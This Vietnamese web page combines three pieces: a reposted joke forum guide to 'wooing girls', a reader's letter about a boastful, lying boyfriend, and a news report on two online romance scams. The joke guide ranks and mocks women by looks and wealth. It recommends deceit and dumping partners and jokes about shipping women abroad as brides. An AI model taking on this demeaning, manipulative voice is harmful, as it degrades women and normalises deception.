Cách cưa gái 100% đổ dành cho Boy


image

Cái này em Chôm về cho anh em tham khảo & chém thôi. Các bác đọc xong cứ thank là được rồi.
Anh em có thể lĩnh hội hết chỗ này thì đảm bảo tán đâu được đấy
(Bài viết này có sử dụng một số từ ngữ không thích hợp với chị em phụ nữ,kính mong chị em thông cảm)
Tán gái có nhiều cách, ở đây tại hạ chỉ nêu phương pháp tối ưu, anh em tùy nghi sử dụng. Trước hết, tán gái phải có vũ khí, vũ khí ở đây có thể là đẹp trai (nếu anh em đẹp trai), có thể là chai mặt (nếu mặt xấu như tại hạ), có thể giàu (có tiền là một lợi thế), có thể nghèo (nghèo quăng cùi bắp cũng là lợi thế, lợi thế cùi dễ liều), có thể là tài lẻ bẩm sinh như thể thao (chạy, nhảy, đá banh, bay kẹp cổ, đánh lộn…), âm nhạc (chơi guitar, acmonica, organ, đàn bầu…), thơ văn…, (chắc chắn anh em phải có năng khiếu về một cái gì đó, còn không chỉ còn mỗi cách… đẹp trai thôi). Bởi vậy kinh nghiệm ngàn năm được đúc kết lại , ghi lên bìa cuốn cẩm nang tán gái 2 câu thơ:
Không giàu thì phải đẹp trai
Không thông kinh sử… Phải dài 1 gang..
Khi đụng trận, ngoài phương pháp tối ưu, anh em phải sử dụng các sở trường nói trên để bổ trợ mình. Nắm bắt rõ tâm lý đối thủ nghĩ gì, muốn gì, từ đó lập kế hoạch, phương pháp, chiến thuật, chiến dịch, chiến lược…để tán. Bên cạnh đó, phải thực hiện bài quấy rối tình … địch như đâm bị thóc chọc bị gạo, nói xấu sau lưng, chọc quê, xỏ xiên nhau, thậm chí phải oánh lộn để tranh giành. Tâm niệm rằng nếu biết tạo dựng thời cơ, lúc cương lúc nhu, lúc thờ ơ hững hờ, lúc điên cuồng ráo riết, như thế, dẫu có lúc tuyệt vọng hết biết cũng sẽ có ngày thắng lợi oanh liệt.
Chung quy lại con gái chỉ có xấu và đẹp để từ đó yêu và ghét, cũng vì thế tán gái có mấy loại sau:
I. Tán gái xấu:
1) Tán gái xấu toàn diện:

Tán gái dễ nhất không gì qua tán bọn gái xấu toàn diện, có nhiều danh từ tương đương mà anh em cần biết thêm như “tàn canh giá lạnh”, “ma chê quỷ hờn”. Với bọn này chỉ có một từ để diễn tả:”Xấu”, xấu khỏi chê, xấu từ mỏ ác đến gót chân, xấu từ trái qua phải, từ sau ra trước, xấu từ không gian (chỗ nào cũng xấu) đến thời gian ( từ nhỏ đến giờ và mai sau). Các bác giải phẫu thẩm mỹ mà gặp bọn này như buồn ngủ gặp chiếu manh. Thẩm mỹ viện phát triển là nhờ công bọn này. Cách tiếp cận rất dễ dàng, coi ả nào mà đám con trai không thèm tiếp chuyện trong lớp lẫn ngoài đời, không thèm galăng, không thèm bất cứ thứ gì trên người của ả, thậm chí thà chết còn hơn…. quen là đích thị, về khoản mặt mũi cứ nhắm loại hình đa diện lồi bất đối xứng là được, mặt càng mụn càng tốt (đậu mùa hết rồi thì còn thủy đậu!), răng đen như cột nhà cháy, cao dưới mét tư là đúng chuẩn. Cách tán cũng dễ: ”Bất chiến tự nhiên thành”, ngồi yên nó cũng lao vào mà tán ngược mình. Đặc điểm của bọn này là viết chữ rất đẹp cùng với giọng nói 108 nên tốt nhất là chỉ liên hệ qua thư hộc bàn hoặc điện thoại, tránh gặp mặt trực tiếp cho nó… đỡ nhát ma nhau. Lỡ gặp mặt thì phải làm như tâm đầu ý hợp, nghĩa là hai đứa cùng nhin… về một hướng, tránh nhìn trực diện nhau có thể bứt tóc móc mắt gây mất đoàn kết giới tính. Khi tâm sự có thể vén tóc hoặc vuốt ót để tìm cảm giác lãng mạn vì bọn con gái đứa nào cái ót cũng đẹp. Chú ý là bọn này khi đã đổ rồi sẽ bám dai như đỉa, anh em lúc đó phải kiên quyết cắt đuôi nếu không muốn rước họa về sau. Mối tình đầu mà lâu sẽ trở thành mối tình… đầu lâu.
2) Tán gái xấu mà chảnh:

Bọn này cũng xấu nhất… trí luôn, dù y học đã can thiệp hết sức bằng công nghệ hiện đại. Cho nên bọn này hay ngụy trang cái xấu bằng các kiểu đầu tóc như xù hấp dầu vàng, quăn cháy đen giòn hay à la mode hiện nay là duỗi cong xông khói, với sự tiếp sức của các Trung tâm vì sự tiến bộ phụ nữ như Triumph, Dior, Shiseido…bọn này có thể làm một số anh em quáng gà dao động tư tưởng quyết liệt bởi đẹp xấu lẫn lộn. Hãy vừa tán vừa thuyết phục em nó chơi trò “chọn giá đúng” lại bản thân. Bọn này nếu không hoang tưởng cũng bị tự kỉ ám thị nặng. Xấu mà tưởng đẹp nên chảnh là căn bệnh nan y của chuyên ngành thần kinh học thẩm mỹ. Phải dùng thuốc đặc trị, phác đồ điều trị tốt nhất là cứ để em nó chảnh, càng làm cao bao nhiêu càng tốt, cứ khen em nó tới tấp, dồn dập, vồ vập, bọn nó sẽ tưởng mình khen thiệt và nghĩ rằng bọn nó cũng đẹp thiệt. Khi bệnh đã nặng lắm rồi thì tán tỉnh bọn này không cần năng khiếu gì sất, chỉ cần khen đẹp đồng thời chú ý khi khen chỗ nào thì phải minh họa chỗ đó, khen tóc đẹp thì vuốt tóc, khen mắt đẹp thì …vuốt mắt, sử dụng chiêu này tuyệt đối không khen từ lỗ rún trở xuống dễ bị ăn đạp. Chú ý bọn này tất nhiên sẽ có một lợi thế so sánh nhất định về một mặt nào đó (trừ khuôn mặt), như hoặc dáng đẹp, hoặc da trắng, hoặc chân dài (vì thế mới chảnh!), nếu ả nào không có một trong các yếu tố trên thì anh em cứ hạ loại rồi xuất qua Đài Loan, Hàn Quốc cho bọn đàn ông bên đó chừa cái tật lâu kéo qua Việt Nam lựa lựa chọn chọn, bị bắt mấy lần mà vẫn chưa sợ, cứ toàn 63 người lấy 1 người, còn khắc khe hơn Intel tuyển công nhân làm mướn.
3) Tán gái xấu mà hiền lành:

Loại này xấu nhưng được cái biết điều, cũng do ý thức được cái xấu và muốn vươn lên qua mặt hai bọn kia. Phân chia làm hai loại rõ rệt: loại xấu hiền bẩm sinh và loại xấu hiền do khổ luyện.
Loại xấu hiền bẩm sinh tuy xấu nhưng cũng tạm được, bởi hiền lành, cái hiền… ăn tiền cái ác mà! Anh em nên để bọn này tập trung học tập vươn lên với đời, dù gì cũng kiếm cái mà di truyền lại cho con cháu sau này…
Loại xấu hiền do khổ luyện thực ra là xấu mà đóng vai ác, qua khổ luyện hiền mà trở nên hiền, sau đó giả bộ nai tơ lừa kẻ khù khờ, trái gió trở giời lên cơn anh em sẽ chịu đời không thấu. Loại này hay săn anh em ta và cũng có ối anh em chết mà không hiểu vì sao tôi chết. Gặp loại này cứ tương kế tựu kế, giả điên khiêng đồ cúng, tán được thì đánh nhanh rút gọn chia tay hoàn… hồn liền. Đừng lo cho tương lai em nó bởi tương lai em nó xáng lạn rạng ngời lắm, thế nào cũng có người anh em nào đó vào tròng cô ả mà thôi.

4) Xấu mà có châu báu:

Loại này còn gọi là xấu giàu. Anh em nào nghèo rớt mồng tơi chỉ còn hai thứ trên người có thể nhắm mắt đưa…. răng và giữ cái còn lại làm kỉ niệm. Là mẫu người trong mộng của anh em nào tuy yêu cái đẹp nhưng phải cắn răng ra… Quảng Ninh để giúp cho mình và gia đình thoát cảnh ba đời nghèo gia truyền. Phải bản lĩnh giữ lấy mình nếu không sẽ phải ăn chả hay phở suốt đời để bù đắp khoản thần kinh mất mát. Cách tán đơn giản mười sáu chữ: than nghèo kể khổ, cung cúc vâng lệnh, phục vụ nhiệt tình, cố đấm ăn xôi. Có thể quen một thời gian hoặc suốt đời tùy khả năng tài chính của khổ chủ.
Ngoài các loại trên ra, gái xấu còn có nhiều loại như xấu… lạ (là một kiểu xấu …lạ, đang nghiên cứu bởi cái xấu này khó diễn tả về chuẩn mực, thậm chí có người lại cho là đẹp), xấu mà có duyên ngầm (cái ngầm này là do mỗi anh em tự đào và phát hiện), xấu nhưng giỏi (loại này là gu của anh em nào học cao và suốt ngày cứ cắm cổ nghiên cứu khoa học); đặc biệt, trong đó còn có một loại hình mà anh em hết sức cảnh giác gặp là tránh xa, đó là xấu …đê tiện (móa, đã xấu mà lại mất nết nữa trời!)

II. Tán gái đẹp:

Đây là phần tán gái nâng cao. Anh em nào không có khiếu tán gái đừng đọc dễ sinh bi quan chán nản sau này …khó có con.
1) Tán gái đẹp nhưng nghèo và ít học:

Bọn này nói chung là đẹp tuy nghèo và ít học, mặt mũi vóc dáng đều được, khổ nỗi thuộc dạng… tóc vàng hoe, nói chuyện với bọn này chỉ cần học đến lớp 9 trường cháy là được. Mình nói một bọn nó có thể hiểu mười, có điều mười chả ăn nhập gì với một. Tiếp xúc bọn này kị nói chuyện về khoa học – kỹ thuật, chính trị – xã hội, văn hóa – nghệ thuật…. có ngày cắn lưỡi, chỉ cần nói về cải lương hoặc tấu hài, sang trọng hơn chút thì phun tí nhạc nhẽo về Ưng Hoàng Phúc hay Châu Gia Kiệt. Cũng kị nghe bọn này kể chuyện, giọng đanh đá cá cầy mà kể chuyện tiểu thuyết bi kịch chương hồi chắc anh em không sống quá 30 như tại hạ. Tán bọn này anh em phải thổ lộ về hoàn cảnh …có điều kiện của mình để em nó mủi lòng, ráng vẽ lên viễn cảnh một tương lai thật tương sáng trong đó có cảnh chồng đi nhậu vợ ở nhà oánh bài là em nó chỉ có nước xin chết. Đây là đối tượng số một của anh em nào đang chạy cò, chạy mánh hay buôn bán ở chợ giời.

2) Tán gái đẹp, nhà khá giả nhưng biếng học và đua đòi ăn chơi:

Anh em nên tập trung tán bọn này, vừa có lợi cho mình vừa bớt hại cho xã hội. Bọn này ỷ đẹp nên đòi hỏi cũng cao, anh em nào chưa có điều kiện thì chưa nên tán (tại hạ dùng từ “chưa” chứ không phải “không”, để hi vọng anh em nào nghèo phải ra sức cày như trâu cho mau giàu, tại hạ chỉ dùng từ “không” khi nói câu: ”tiền bạc không bao giờ thừa, ăn chơi không bao giờ muộn” thôi!) Kiếm bọn này cũng dễ, nhan nhản ở cà phê, quán nhậu, bar, gilf shop. Khi tán anh em nhớ ăn mặc cho thật đẹp và sang, áo gì cũng được nhưng quần lộ lộ ra ngoài phải là Narsis(?), xách Laptop càng tốt, cợt nhã với nhau ít phút rồi xin số phone bằng cách quẹt quẹt ngón tay lên cái iPhone cho … trầy chơi, sau đó hẹn ăn tối ở Ngọc Sương rồi đi GMC uống rượu. Vì bọn này mê rượu còn hơn bọn mình nên anh em vào đó cứ phủ đầu bằng Cognac (Regular) loại Hennessy VSOP 70Cl ( hình như 1.220.000đ/chai) chừng 2 chai là không say không về (đừng kêu lộn Richard Hennessy 70Cl hai mươi chín triệu một chai kẻo cả đám ở lại đó ăn mày luôn). Vô chỗ ồn ào thì không nên nói chuyện học hành hay kêu dầu gió cho bọn nó khinh. Vài lần như thế, bạn gái nó cũng đổ huống hồ chi nó. Cũng phải nói thêm là bọn này sống không có tình yêu, sống không có ngày mai, sống chỉ cho riêng mình… và nói chuyện nhạt như nước ốc nên anh em nào lãng mạn cũng đừng tơ tưởng dài lâu, khi hết tiền là em nó… tâm hồn của đá… bay mình liền áh!

3) Tán gái đẹp, hiền lành, con nhà gia giáo, học hành đàng hoàng:

Các nàng này chỉ chiếm 5% của phụ nữ nhưng là mục tiêu của 95% trên tổng số đàn ông toàn thế giới. Tại hạ mà chỉ giáo cho anh em chiêu thức để tán các em này thì coi như cõng rắn cắn gà nhà, do đó anh em thông cảm, tự nhận thức để khẳng định bản lãnh của mình. Chỉ xin lưu ý anh em chút xíu đó là dạo này phong trào đi ngoài… học hơi nhiều nên cái đám biếng học, lười học và dốt học nhưng nhà có điều kiện (II.2) dễ đánh lừa anh em để lên level (II.3) lắm, gặp loại này anh em nên kiên trì tâm sự sẽ lòi cái dốt ra thôi mà, cá biệt có đứa đi vài năm quay về vác theo cái bằng Tiên sư giáo sỹ nữa mới kinh. Tránh đánh giá lầm người, anh em chỉ cần xem em nó về đây làm được cái gì sẽ rõ ngay thôi mà.

4) Tán gái đẹp, giàu và nổi tiếng:
Nói đến bọn này trước tiên phải …tiên sư mấy thằng nhà báo lá cải bởi đã lăng xê mấy em này với tần suất ngày càng cao trên những trang bìa tạp chí, rồi các loại Vêtêvê có đánh số gây rối loạn đám anh em mình. Nói chung phải công nhận rằng bọn này rất ư là nặng ký. Chạy Piaggio nhẹ nhẹ dạo mát hoặc vào xế hộp nếu muốn mát hơn nữa. Ở biệt thự hay chung cư cao cấp và luôn xài đồ hiệu (tiền ở đâu hè?). Do đó, anh em không phải đại gia, thiếu gia thì đừng nên… tham gia nếu còn… thương gia (đình). Bọn này có đặc trưng là con ranh nào cũng cho mình là nữ tu, mồm thì lải nhải về tình yêu đích thực mà chẳng ả nào thèm quen công chức quèn, toàn quen bọn trọc phú để moi tiền, có ả quen Tây cho mau giàu, để còn có dịp trơ trẽn rêu rao cái gọi là tình yêu không biên giới. Nói chuyện bằng tay với nhau đến nghệch mồm mà cứ ngỡ từ kiếp trước lướt qua kiếp này đã tìm được một nửa đồng điệu của đời mình. Rõ chuyện. Kịch. Anh em phải cẩn thận, tùy từng đối tượng mà lượng sức mình, nhắm đánh được thì đánh, còn không thì “Không nghe, không biết, không thấy”. Tán bọn này cách duy nhất là xài tiền không gớm tay. Dĩ nhiên là phải có xế hộp, không cần phải đắt tiền như cái xe của bà già súng bắn không chết, mà chỉ cần bèo bèo cỡ Mercedes – Ben C200 như Hồ Quỳnh Hương là được. Ăn chơi phải ở những nơi mưa rơi và sang trọng như Vinpearl hay Evason Hideaway. Mua sắm thì vào Parkson, Diamond…, nói chung là 24 giờ 7 ngày chỗ nào đắt nhất thì vào, chú ý khi trả tiền đừng có chớp mắt kẻo em nó hiểu lầm rồi sinh ra bắt bẻ anh không yêu em mắc công thanh minh mãi có rách việc.
5) Tán gái đẹp, nhà giàu, học giỏi, hiền lành, không đua đòi ăn chơi:


Loại này….. không có trên đời đâu, anh em khỏi mắc công kiếm. Biết đến giai đoạn làm theo năng lực hưởng theo nhu cầu có xuất hiện không, chứ 30 năm xây dựng CNXH rồi tại hạ chưa thấy ai (mà nếu có thì giang hồ hiểm ác đã cướp từ lâu), anh em nào nếu biết có ai thì chỉ giáo để tại hạ đứng từ xa chiêm ngưỡng cái coi.
Và cũng còn nhiều loại gái đẹp nữa nhưng do thiểu số nên tại hạ chỉ điểm sơ qua: đẹp nhưng vô duyên (loại này ban đầu thì thích nhưng sau sẽ chán ngắt bởi vô duyên, nhạt nhẽo), đẹp lỡ cỡ (lúc thì đẹp, lúc thì không, loại này nửa nạc nửa mở chắc do trang điểm)…, còn nhiều loại gái đẹp nữa nhưng tại hạ không tiện nêu tên, anh em nào Mạnh Thường Quân muốn cứu vớt đời em thì nhào vô, có điều bọn này khi đã nhúng chàm rồi khó cứu lắm, đừng hão huyền vì tình yêu đích thực, tốt hơn hết là đừng nghe cave kể chuyện, đừng nghe con nghiện trình bày.

Yêu phải người “chém bão”?


Tôi không thể chịu nổi thói “chém gió thành bão” của anh thêm nữa, nó đi ngoài sức tưởng tượng của tôi và khiến tôi phải bao lần xấu hổ. Anh còn muốn tôi phải ngượng thay anh đến bao giờ?

Tôi quen anh trong một lần tình cờ đi cùng đám bạn lên bar giải trí. Tôi vốn là người sống nội tâm và không ưa những chốn ồn ào náo nhiệt nên khái niệm lên bar, lên sàn bấy lâu nay không có trong từ điển của tôi. Nhưng vì hôm đó, đám bạn rủ quá nhiệt tình và trong lòng cũng có chút chuyện không vui, tôi mới đồng ý.

Anh nổi bật giữa đám đông với bề ngoài công tử, khoác trên người bộ đồ bóng bẩy đắt tiền. Cách anh thể hiện sự chịu chơi ở cái bar ấy quả thực là khá hấp dẫn. Vô tình chúng tôi đứng cạnh bàn anh, và hôm đó anh đã thanh toán cho cả bàn bên này chỉ vì muốn làm quen với tôi.

Khỏi phải nói, bọn con gái “ngất ngây” vì anh thế nào. Anh đến bắt chuyện và làm quen với tôi, còn chủ động xin số. Anh nói anh bị ấn tượng bởi ánh mắt và nụ cười của tôi, ấn tượng cả khi tôi chỉ ngồi trên quầy uống nước mà không ra nhảy như bao người khác.

Từ sau hôm đó, ngày nào anh cũng nhắn cho tôi với những tin nhắn hết sức ngọt ngào, đến giờ tan học anh lại đứng trước cổng trường chờ đón tôi, cứ mỗi cuối tuần anh lại hẹn tôi đi chơi và tặng tôi những món quà có giá trị.

Sau khoảng hai tháng “cưa cẩm” thì tôi chính thức là người yêu của anh. Tôi thật sự rất hạnh phúc với tình yêu của mình. Anh là mẫu bạn trai lý tưởng, biết chăm sóc, biết chiều chuộng người yêu, chiều theo cả những tính cách trẻ con của tôi nữa.

Tôi muốn được giận hờn vu vơ mỗi khi anh đến đón tôi trễ giờ, hay tức anh những tối khi đang nhắn tin với nhau anh lại “lăn” ra ngủ quên mất, để anh lại phải cuống quýt xin lỗi tôi. Bên anh tôi luôn nhận được sự quan tâm, lo lắng, sẻ chia. Những tin nhắn yêu thương mỗi tối, những cử chỉ yêu thương khi hai đứa bên nhau. Tôi thấy mình là người hạnh phúc khi may mắn có được tình yêu của anh.

Bạn bè tôi ai cũng nói rằng tôi có một tình yêu đẹp, một người yêu quá tốt biết chịu đựng với tính cách ẩm ương” của tôi. Nhưng đằng sau nó thì vẫn ẩn chứa những điều mà chỉ có người trong cuộc mới hiểu được. Mối tình của tôi sẽ rất tuyệt vời, sẽ chẳng có gì đáng nói nếu như ở anh không mắc một khuyết điểm, nói ra thì thật ngại, đó là tính hay… “chém gió”.

Tôi biết anh có tính đó từ lâu nhưng tôi không mấy để ý vì nghĩ nó cũng chẳng ảnh hưởng gì tới tình yêu của chúng tôi. Chỉ cần anh yêu tôi và tôi cũng yêu anh là đủ. Nhưng lâu dần cái tính xấu xí đó của anh làm tôi thật sự thấy khó chịu. Đáng nói hơn khuyết điểm đó của anh lại mấy lần làm tôi bẽ mặt với đám bạn.

Có lần khi tôi và anh đi chơi cùng với nhóm bạn thân của tôi, anh hứa cuối tuần sẽ đưa cả bọn ra biển bằng ô tô, bọn bạn tôi ai cũng thích và không hết lời khen ngợi người yêu tôi ga lăng. Nhưng đến hôm đi thì anh lại kêu anh mệt không lái xe được nên phải hoãn. Đến lần sau thì anh lại nói xe đang phải đi bảo dưỡng. Hết lần này đến lần khác anh hứa hẹn rồi lại viện lí do này lí do nọ làm tôi rất xấu hổ với mấy đứa bạn. Chuyện đi ô tô không quan trọng đối với tôi, nhưng tôi không bao giờ hứa rồi lại không thực hiện cả.

 

biluy2208114_cc060

Nhiều lúc, tôi phải ngượng thay anh vì thói "chém gió" của anh. (Ảnh minh họa)

Lại còn thế này, hôm sinh nhật đứa bạn tôi, trời mưa to nên chúng tôi khá vất vả mới tới được quán hát nơi bạn tôi tổ chức. Không ai hỏi mà anh cũng phải giải thích: “Hôm nay “ông già” anh lấy xe đi đánh golf, “bà già” cũng lấy con Camry đi Tuần Châu mấy ngày không thì anh đã đi ôtô cho đỡ khổ rồi”.

Còn khi bạn tôi đang sôi nổi bàn tán về một hot girl xinh xắn, anh quay ra nói luôn một câu: “Con đấy hồi trước thích anh mê mệt, tán anh mãi nhưng anh có đổ đâu”. Rồi thì nhà anh có cái này, nhà anh có cái kia mua ở Mỹ, Anh, Pháp. Mặc dù không biết là những điều anh nói có thật hay không nhưng chỉ riêng cái kiểu “khoe của” đó đã đủ làm bọn bạn tôi có thái độ ngán ngẩm ra mặt, tôi đành phải kêu mệt đòi anh đưa về trước.

Trên facebook của anh lúc nào cũng có hàng đống ảnh chụp giày, quần áo của toàn các thương hiệu nổi tiếng LV, Gucci… mà anh không quên ghi những dòng đính kèm: “Mới mua hôm qua”, rồi “Papa đi Mỹ về mua tặng”… Trong khi đó, rất ít trong số đó là hàng thật, hoặc thậm chí tôi chưa từng thấy anh sử dụng chúng.

Lúc đầu, tôi tò mò hỏi thì anh chỉ nói rằng anh không thích dùng nữa nên vứt xó rồi. Nhưng sau đó, cái tính hay để ý của tôi lại có câu trả lời khác: anh dùng hàng fake rồi lên mạng tìm ảnh hàng xịn và up lên. Cốt chỉ để lũ bạn anh trầm trồ khen ngợi sự chịu chơi của anh mà thôi!

Đã yêu nhau một thời gian, tôi nhiều lần gợi ý anh đưa tôi sang nhà để tôi chào bố mẹ anh và qua cho biết nhà cửa. Thế mà anh lại viện cớ rằng nhà anh đang xây không tiện đưa tôi về, khi nào có dịp sẽ đưa tôi về ra mắt sau. Bẵng đi một thời gian dài khi tôi nhớ ra và hỏi thì anh lại trả lời “Xây biệt thự chứ có phải nhà thường đâu mà em bảo nhanh được, vẫn chưa xong đâu”.

Quả thực, đến giờ thì tôi cũng không rõ là anh xạo hay không muốn dẫn tôi về ra mắt nữa. Chẳng lẽ khi xây nhà, gia đình anh không có chỗ để ở tạm ư? Về sau, vì ngại, và cũng nản nản nên tôi không hỏi han, cũng không có ý kiến muốn sang nhà anh chơi nữa.

Trong những buổi đi chơi, gặp gỡ với bạn bè anh hay đưa tôi đi cùng. Đám bạn chiến hữu của anh ngồi lê la ở quán trà chanh, ở đó thì không thiếu những câu chuyện “chém gió” trên trời dưới biển. Đại loại như: “Tối qua vừa “xịt” mấy chục củ tiền lô”, “Ông bà già dúi cho 3 ngàn (đô la) tiêu, nhưng tao ghét. Xin có 20 ngàn cũng tiếc, nên tao chảnh không thèm nói chuyện luôn”.

Anh liên tục kể về những dân chơi, những người “tai to mặt lớn” có quan hệ rộng với anh như thế nào. Những lúc đó, tôi thấy anh hào hứng kinh khủng, mỗi lời nói của anh như thể sắp thành sự thực đến nơi, cứ hiển nhiên như vừa xảy ra ngày hôm qua vậy. Trong khi ấy, anh hoàn toàn quên mất có tôi ngồi cạnh, và tôi chẳng hiểu anh có mấy mối quan hệ “lừng lẫy” ấy ở đâu nữa.

Tôi nghe mà nóng hết cả tai, chỉ biết ngồi im re không nói câu nào cả. Bạn của anh thì hình như đã biết thừa tính anh nên chỉ ậm ừ, cười nhạt thếch rồi lảng sang chuyện khác, cũng chả buồn vặn vẹo xem anh nói thật hay chỉ là khoác lác. Nói thật, tôi phát ngượng thay anh. Xấu hổ vô cùng!

Nếu những điều anh nói đều là sự thật thì chả phải quá tốt sao. Người yêu mình có gia đình khá giả, có “điều kiện” nên được hưởng thụ cuộc sống xa xỉ đó cũng chỉ là chuyện bình thường. Nhưng sự thật thì lại không phải vậy, anh đang là sinh viên nên không thể kiếm ra được nhiều tiền để có thể nay mua quần áo hàng hiệu, mai ăn chơi ở chỗ này chốn kia.

Qua bạn bè anh tôi cũng được biết rằng bố mẹ anh chỉ là những viên chức bình thường, đủ tiền để có thể cho anh một cuộc sống không lo nghĩ chuyện tiền bạc, chứ không phải là đại gia, sống “trên tiền” như anh hay thể hiện. Còn nữa, tôi đã tìm hiểu được nhà anh là căn hộ tập thể chứ đâu phải biệt thự đang xây như lời anh nói. Bảo sao, anh không dám dẫn tôi về nhà gặp bố mẹ… Đến tôi anh còn “nổ” như thế, thì với người khác anh còn ngại ngần gì đây!

Hôm anh sang nhà ăn cơm với bố mẹ tôi thì đúng là không còn gì đáng xấu hổ hơn nữa. Khi bố mẹ tôi hỏi bố mẹ anh đang công tác ở đâu thì anh lại trả lời rằng bố anh là phó giám đốc công ty dầu khí. Còn mẹ anh là kế toán trưởng cho một công ty nước ngoài. Bố tôi hỏi bố anh có phải tên T không, vì bố tôi quen vài người làm bên đó nên biết rất rõ phó giám đốc của công ty dầu khí. Tôi thấy mặt anh tái đi, nhưng vẫn trả lời là không phải.

Bố tôi thắc mắc nên hỏi anh mấy câu nữa, anh ấp úng, giả vờ lảng sang chuyện khác. Phải nói rằng, tôi ngượng với bố vô cùng… Tôi cũng giận anh lắm lắm, sau hôm đó bố tôi không nhắc câu nào về anh khiến tôi càng khổ sở hơn. Lần này thì anh đã “chém gió thành bão” mất rồi. Tại sao anh phải thể hiện đến mức đó chứ!

Đúng là sức chịu đựng của con người cũng có giới hạn, tôi không thể cứ ngày qua ngày nghe đi nghe lại những câu chuyện chém gió ấy, cũng không thể đi cùng anh mà cứ phân vân xem có bao nhiêu phần trong lời anh nói là sự thật. Tôi đã quá mệt mỏi khi anh cứ kể những câu chuyện, khoe khoang những thứ mà anh không hề có. Anh yêu tôi thế mà lại chẳng hề để ý rằng tôi đã biết quá rõ về anh sao?

Tôi yêu anh, và tôi biết rằng anh cũng rất yêu tôi. Ngoài tính thích chém gió ra, anh vẫn luôn quan tâm chăm sóc tôi như trước. Nhưng quả thực tôi không hiểu, anh cứ phải thể hiện với tôi để làm gì chứ? Tại sao anh phải bịa đặt những chuyện không có thực, những thứ anh không hề có và những việc anh chưa hề làm?

Tôi không biết phải nói với anh như thế nào về suy nghĩ của tôi lúc này. Anh là con trai, anh có lòng tự trọng rất lớn nên tôi không thể nói thẳng toẹt một lần cho xong. Nhưng tôi hết chịu nổi thói chém gió của anh rồi, nó đi ngoài sức tưởng tượng của tôi và khiến tôi phải bao lần xấu hổ. Anh còn muốn tôi phải ngượng thay anh đến bao giờ?!

Theo Minh Quyên

PLXH

Tình ảo


Quen nhau qua “chat” là hiện tượng không hiếm gặp ở giới trẻ. Không gặp mặt trực tiếp, không xác minh kiểm chứng, trong thế giới ảo người ta tha hồ vẽ vời…

ImageHandler.ashx

Ảnh minh họa (Nguồn: Internet).

Tới khi vỡ mộng, người trong cuộc mới phát hiện mình bị lừa gạt và mất quá nhiều niềm tin, tiền bạc, thời gian…

1.  Trong lần “dạo chơi” trên mạng, Trần Thanh Huỳnh ở Đồng Nai quen với chị L.B.V. tận Cà Mau. Không nghề nghiệp ổn định, nhưng Huỳnh “nổ” là kỹ sư xây dựng và đang định cư tại Canada. Huỳnh nói phần bận công việc, phần không thích các cô gái Tây sống quá thoáng nên đến nay chưa “chấm” được ai. Rồi Huỳnh bảo bị sét ái tình đánh trúng, không thể sống thiếu V. nên muốn rước “nàng về dinh” ở tận Canada, nhưng do công việc bận rộn chưa thể về nước, sẽ nhờ cháu mình đang ở Đồng Nai làm giúp giấy tờ.

Kế đó, Huỳnh lập email mới với tên Duy, xưng là cháu của Huỳnh và chủ động liên hệ với chị V.. Duy cho biết phải có khoảng 100 triệu đồng mới đủ làm giấy tờ bảo lãnh chị V., đồng thời cho V. số tài khoản gửi tiền vào cho nhanh.

Viễn cảnh cuộc sống bên kia đại dương làm chị V. ngây ngất nên không thấy được nhiều điểm khả nghi trong lời nói của Huỳnh. Chị vội vã xin người thân 80 triệu đồng, chia làm ba đợt gửi vào tài khoản của Duy để Duy lo thủ tục giấy tờ xuất cảnh. Tiền đã trao nhưng đợi suốt mấy tháng ròng không thấy động tĩnh gì. Mỗi khi chị nóng lòng hỏi, thậm chí thúc giục thì Duy cứ trả lời thế này thế khác. Sinh nghi, chị thú thật với gia đình. Người thân bàn kế gửi email “dụ” Duy đến Cần Thơ nhận nốt 20 triệu đồng còn lại. Đồng thời gia đình cũng bí mật báo công an. Nhận được email, không ngờ kịch bản bị lộ nên Duy tức tốc xuống Cần Thơ. Khi Duy xuống tới nơi, gia đình chị V. giữ lại và báo cho cơ quan chức năng. Duy lộ nguyên hình là Huỳnh, một Việt kiều giả.

Huỳnh bị tuyên phạt 2 năm 6 tháng tù vì tội “lừa đảo chiếm đoạt tài sản”. Còn chị V. vẫn chưa hết bàng hoàng: “Phải chi tôi kiểm chứng bằng mắt thấy tai nghe trên thực tế, đừng vội vàng tin theo những lời “ảo” trên mạng”…

2.  Cũng qua mạng Internet, Nguyễn Văn Trường quê ở Bình Dương quen với chị N.N.H. đang học tại một trường đại học ở TP Cần Thơ. Công việc bấp bênh không cố định, nhưng Trường nói đang làm ở công ty nước ngoài chi nhánh tại TP.HCM với mức lương mỗi tháng trên cả nghìn đôla. H. thật lòng tâm sự lại rằng kinh tế gia đình cô khá giả nên chỉ cần chú tâm học hành. Quen nhau khoảng hai tháng, những lời lẽ nồng ấm đã được trao gửi. Rồi bất ngờ Trường cho biết công ty đang mở một chi nhánh ở TP Cần Thơ và mình được đề cử làm giám đốc chi nhánh. Chỉ cần H. thích, Trường sẽ chuyển xuống Tây đô để “thuyền tình được trôi êm êm trên dòng sông Hậu”.

H. vui mừng và hối thúc Trường. Ngày Trường xuống Cần Thơ, H. ra bến xe đón, lòng ngập tràn niềm hân hoan xen lẫn hồi hộp. Bước xuống xe là một thanh niên khá điển trai, ăn nói rất lịch sự. Sau một buổi trò chuyện, chạy lòng vòng ngắm cảnh, Trường nói cần mượn xe gắn máy gặp đối tác bởi đi taxi hơi khó khăn, đồng thời mượn thêm laptop cho tiện. Đưa Trường mượn xe, mượn máy xong, H. ngồi đợi, lòng lâng lâng hạnh phúc. Nhưng rồi chuyển sang lo sợ khi đợi mãi đến chiều không thấy Trường đâu. Nóng ruột H. điện thoại thì thật bất ngờ tín hiệu bên kia là tò te tí… không liên lạc được. Vài ngày sau tình hình vẫn như vậy. Lúc này thì H. biết mình bị lừa.

H. nhờ bạn lên mạng chat với Trường. Quả đúng như H. dự tính. Hắn ta giở lại trò cũ. Bạn H. nói rằng gia đình mình rất giàu. Hắn ta lại hồ hởi xuống TP Cần Thơ. Nhưng vừa mới bước xuống xe, kẻ lừa đảo đã bị công an ập đến bắt và sau đó ra tòa vì tội chiếm đoạt tài sản với mức án 18 tháng tù giam.

